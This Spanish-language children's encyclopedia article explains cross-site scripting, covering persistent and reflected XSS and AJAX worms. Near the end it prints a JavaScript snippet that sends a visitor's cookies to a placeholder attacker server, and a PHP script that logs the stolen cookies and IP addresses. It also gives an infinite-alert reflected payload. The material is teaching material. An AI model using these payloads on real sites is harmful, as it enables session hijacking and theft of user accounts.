robot de la enciclopedia para niños

Cross-site scripting para niños

Enciclopedia para niños

Una secuencia de comandos en sitios cruzados o Cross-site scripting (conocido como XSS) es un tipo de ataque informático. Imagina que alguien con malas intenciones logra que un sitio web, sin saberlo, ejecute un programa dañino en tu navegador cuando lo visitas. El atacante no te ataca directamente a ti, sino que encuentra un punto débil en una página web que tú usas.

Desde la perspectiva de tu navegador, el programa dañino, que suele estar escrito en JavaScript, parece ser parte normal de la página web. Esto hace que el sitio web se convierta en un ayudante sin querer del atacante.

Los ataques XSS ocurren cuando una aplicación web usa la información que un usuario escribe sin revisarla o limpiarla bien. Esto puede llevar a que te roben información importante, como tus datos de inicio de sesión. También se puede usar para cambiar lo que ves en una página web, enviarte a sitios web peligrosos o incluso tomar el control de tu navegador.

Archivo:Cross-Site Scripting (XSS)
Flujo típico de un ataque XSS de tipo almacenado

¿Cómo funciona un ataque XSS?

Un ataque XSS puede usarse para robar información importante, tomar el control de tu sesión en una página web o afectar tu navegador. Las debilidades de XSS han existido desde los primeros días de internet.

Esto suele pasar porque una aplicación no revisa bien la información que los usuarios escriben, o no la limpia adecuadamente antes de mostrarla en una página web.

Esta debilidad puede presentarse de dos formas principales:

XSS Persistente (Directo)

Este tipo de XSS ocurre cuando un atacante logra insertar código dañino directamente en un sitio web. Por ejemplo, en un foro o un blog, si el sitio permite publicar contenido sin revisar bien lo que se escribe, el atacante podría añadir un código que se guarde en la página.

Cuando tú visitas esa página, el código dañino se ejecuta automáticamente en tu navegador. Es como si el atacante dejara una trampa escondida en la página para que cualquiera que la visite caiga en ella.

XSS Reflejado (Indirecto)

Este tipo de XSS ocurre cuando el código dañino no se guarda en el sitio web, sino que se "refleja" desde la información que tú envías. Por ejemplo, si haces clic en un enlace que un atacante te envía, ese enlace podría contener un código dañino.

Cuando tu navegador envía esa información al sitio web, el sitio la devuelve sin limpiarla, y el código dañino se ejecuta en tu navegador. Es como si el sitio web te devolviera un eco de lo que le enviaste, pero con un mensaje oculto y peligroso.

Ejemplos de XSS Reflejado

Imagina que un sitio web tiene una dirección como esta: http://www.ejemplo.com/pagina.asp?dato=menu.asp

Si un atacante cambia la parte del "dato" por un código JavaScript, como:

 javascript:while(1)alert("Este mensaje saldrá indefinidamente");

Y te envía ese enlace. Si haces clic, verás un mensaje que se repite sin parar.

Un atacante real intentaría robar tus "cookies" (pequeños archivos que guardan información de tu sesión) para poder entrar a tu cuenta sin tu contraseña. También podría usarse para hacer phishing, donde crees que estás en un sitio seguro, pero en realidad estás en uno falso que roba tus datos.

Por ejemplo, una página de error que muestra lo que escribiste:

 error.php?error=Usuario%20Invalido

Si un atacante cambia "Usuario Invalido" por un código, podría hacer que se ejecute un programa en tu navegador.

XSS y AJAX

Los ataques XSS también pueden usar AJAX, que es una forma de hacer que las páginas web sean más interactivas. Un atacante podría usar una debilidad de XSS para introducir un objeto XMLHttpRequest y enviar información sin que el usuario se dé cuenta.

Esto se ha vuelto popular con los "gusanos" de XSS, que son programas que se copian a sí mismos usando debilidades de XSS persistentes.

Aquí tienes un ejemplo de cómo un código podría robar tus cookies y enviarlas a un atacante:

Javascript:

var cookiesDeUsuario = document.cookie;

var xhr = new XMLHttpRequest(); // Objeto Ajax
xhr.open('GET', 'www.servidor-atacante.com/cookies.php');
xhr.send('c=' + cookiesDeUsuario);

PHP (en el servidor del atacante):

<?php

$archivo = fopen('log2.htm','a');

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");

fwrite($archivo, '<br />Cookie: '.htmlentities($cookie).'<br />Página: '.htmlentities($re));
fwrite($archivo, '<br /> IP: ' .$ip. '<br /> Fecha y Hora: ' .$fecha. '</hr>');

fclose($archivo);

?>

Galería de imágenes

Véase también

Kids robot.svg En inglés: Cross-site scripting Facts for Kids

kids search engine
Cross-site scripting para Niños. Enciclopedia Kiddle.